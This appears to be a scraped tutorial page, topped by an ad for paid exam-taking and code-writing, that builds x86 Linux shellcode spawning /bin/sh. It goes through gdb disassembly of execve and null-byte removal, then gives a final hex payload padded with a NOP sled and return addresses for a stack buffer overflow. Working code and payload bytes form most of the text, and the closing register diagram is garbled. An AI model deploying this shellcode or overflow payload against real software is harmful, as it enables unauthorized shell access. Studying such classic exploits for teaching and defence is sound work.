计算机代考程序代写 assembler Shellcode

Shellcode

What would a hacker want to put on the stack? Preferably, code to launch
a shell. With a shell they have general access to the system as the
user of the target software.

shellcode.c
—————————————————————————–
#include

void main() {
char *name[2];

name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
——————————————————————————
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode

Then gdb shellcode and disassemble main …to see what gets pushed on the
stack to call __execve

(gdb) disassemble main
Dump of assembler code for function main:
0x80481e0

: push %ebp
0x80481e1 : mov %esp,%ebp
0x80481e3 : sub $0x8,%esp
0x80481e6 : movl $0x808dbc8,0xfffffff8(%ebp)
0x80481ed : movl $0x0,0xfffffffc(%ebp)
0x80481f4 : sub $0x4,%esp
0x80481f7 : push $0x0 # NULL
0x80481f9 : lea 0xfffffff8(%ebp),%eax # address of name
0x80481fc : push %eax
0x80481fd : pushl 0xfffffff8(%ebp) # name[0]
0x8048200 : call 0x804cab0 <__execve>
0x8048205 : add $0x10,%esp
0x8048208 : mov $0x0,%eax
0x804820d : leave
0x804820e : ret
End of assembler dump.
(gdb)

inside execve the stack looks like

ebp -> sfp
ret (4)%ebp
name[0] (8)%ebp
name (c)%ebp
NULL (4 bytes of 0) (10%ebp)

and disassemble __execve to see how execve works.

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804cab0 <__execve>: push %ebp
0x804cab1 <__execve+1>: mov $0x0,%eax
0x804cab6 <__execve+6>: mov %esp,%ebp
0x804cab8 <__execve+8>: test %eax,%eax
0x804caba <__execve+10>: push %edi
0x804cabb <__execve+11>: push %ebx
0x804cabc <__execve+12>: mov 0x8(%ebp),%edi # !!!
0x804cabf <__execve+15>: je 0x804cac6 <__execve+22>
0x804cac1 <__execve+17>: call 0x0
0x804cac6 <__execve+22>: mov 0xc(%ebp),%ecx # !!!
0x804cac9 <__execve+25>: mov 0x10(%ebp),%edx # !!!
0x804cacc <__execve+28>: push %ebx
0x804cacd <__execve+29>: mov %edi,%ebx
0x804cacf <__execve+31>: mov $0xb,%eax
0x804cad4 <__execve+36>: int $0x80
0x804cad6 <__execve+38>: pop %ebx
0x804cad7 <__execve+39>: mov %eax,%ebx
0x804cad9 <__execve+41>: cmp $0xfffff000,%ebx
0x804cadf <__execve+47>: jbe 0x804caef <__execve+63>
0x804cae1 <__execve+49>: neg %ebx
0x804cae3 <__execve+51>: call 0x80484ac <__errno_location>
0x804cae8 <__execve+56>: mov %ebx,(%eax)
0x804caea <__execve+58>: mov $0xffffffff,%ebx
0x804caef <__execve+63>: mov %ebx,%eax
0x804caf1 <__execve+65>: pop %ebx
0x804caf2 <__execve+66>: pop %edi
0x804caf3 <__execve+67>: pop %ebp
0x804caf4 <__execve+68>: ret
End of assembler dump.

exit.c
——————————————————————————
#include

void main() {
exit(0);
}
——————————————————————————
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit

——————————————————————————
From the above, we have learned quite a bit about how
the exec call works…

Example: Say we want to execute execve on the command
/bin/sh -f sid
and were passing no environment variables. In case of a
real call we would setup the following.

char *name[]={ “/bin/sh”, “-f”, “sid”, NULL }; // convention: command array is NULL terminated
char *env[]= { NULL }; // convention: environment array is NULL terminated
execve(name[0], name, env);

Right before the int 0x80 happens, the situation might look as follows…

+——————————— name array lives at 0xbfff20 -> ecx=0xbfff20
|
+->0xbfff20: 0xc00010=name[0]
0xbfff24: 0xc02004=name[1]
0xbfff28: 0xc03028=name[2]
0xbfff2c: 0x000000=name[3] <--- by convention this arguments array is NULL terminated 0xbfff30: 0xbfff34: 0xbfff38: 0xbfff3c: ... 0xc00010: / b i n <--- the command itself lives at 0xc00010 -> ebx=0xc00010
0xc00014: / s h 0
0xc00018: ? ? ? ?
0xc0001c: ? ? ? ?

0xc02004: – f 0 ? <--- argument -f ... 0xc03028: s i d 0 <--- argument sid ... 0xc10100: 0 0 0 0 <--- env array, empty in our case For the exploit, we just need the address of any NULL execve( name[0], name , env ); 0xc00010, 0xbfff20 , 0xC10100 | | | v v v ebx ecx edx 0xb->eax

then int $0x80

If you are wondering why $0xb (=11) see
https://github.com/torvalds/linux/blob/v3.13/arch/x86/syscalls/syscall_32.tbl
for this and other syscalls.

——————————————————————————

Putting all of this together, here is what the shell code should do…

1) Setup data to appear as after
char *name[2];
name[0] = “/bin/sh”; // address of “/bin/sh”
name[1] = NULL; // long NULL

2) Simulate the call to execve(name[0], name, &name[1]);
| | |
v v v
ebx ecx edx

0xb->eax

then int $0x80

Again, to simulate this setup before calling int 0x80, the attacker would do the following…

a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
ECX register.
e) Copy the address of the string “/bin/sh” into the EBX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
h) Copy 0x1 into the EAX register.
i) Copy 0x0 into the EBX register.
j) Execute the int $0x80 instruction.

jmp 0x2a # 3 bytes trick! to find address of /bin/sh
popl %esi # 1 byte trick! on the stack,pop from stack into esi
movl %esi,0x8(%esi) # 3 bytes put the address of /bin/… in…:200
movb $0x0,0x7(%esi) # 4 bytes null terminate /bin/…
movl $0x0,0xc(%esi) # 7 bytes null terminates name array
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes call execve
movl $0x1, %eax # 5 bytes call exit
movl $0x0, %ebx # 5 bytes call exit
int $0x80 # 2 bytes call exit
call -0x2f # 5 bytes trick!
esi-> .string \”/bin/sh\” # 8 bytes
7(%esi) z # 1 byte to be null termination of string
8(%esi) xxxx # 4 bytes address of “/bin/sh” ‘name[0]’
c(%esi) yyyy # 4 bytes NULL (long 0) ‘name[1]’

We still have a few problems!!

Problem: This is not a string.
Solution: That is easy to fix, you can examine the bytes of…

shellcodeasm.c
——————————————————————————
void main() {
__asm__(”
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \”/bin/sh\” # 8 bytes
“);
}
——————————————————————————
in gdb
(gdb) x/bx main+3 …

Here it is as a string…

“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”;

Problem: This has some \x00 in it. This will effectively end the string.
Solution: Use some tricks to generate \x00 without actually having 0
in your code.

Problem instruction: Substitute with:
——————————————————–
movb $0x0,0x7(%esi) xorl %eax,%eax
movl $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
——————————————————–
movl $0xb,%eax movb $0xb,%al
——————————————————–
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
——————————————————–

Final shell code:

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

To use this on a particular program (os version, gcc version, software version)
you would do something like…

Add in \x90 to the beginning (noop) and pad the end with a return address which
will land the CPU back in the string of NO-OPs.

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” <----- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | "\x80\xe8\xdc\xff\xff\xff/bin/sh" // 13 chars | "\x44\xb0\xff\xbf" | "\x44\xb0\xff\xbf" | "\x44\xb0\xff\xbf" <- hopefully one of these correctly overwrites | "\x44\xb0\xff\xbf"; <- the return address and jumps us back to ------ https://cve.mitre.org/cve/search_cve_list.html RR RR RR RR EE EE HH LL | | || || | | || AL | | AH | | | |___| | | AX | | |_________| | EAX | |_____________________| RAX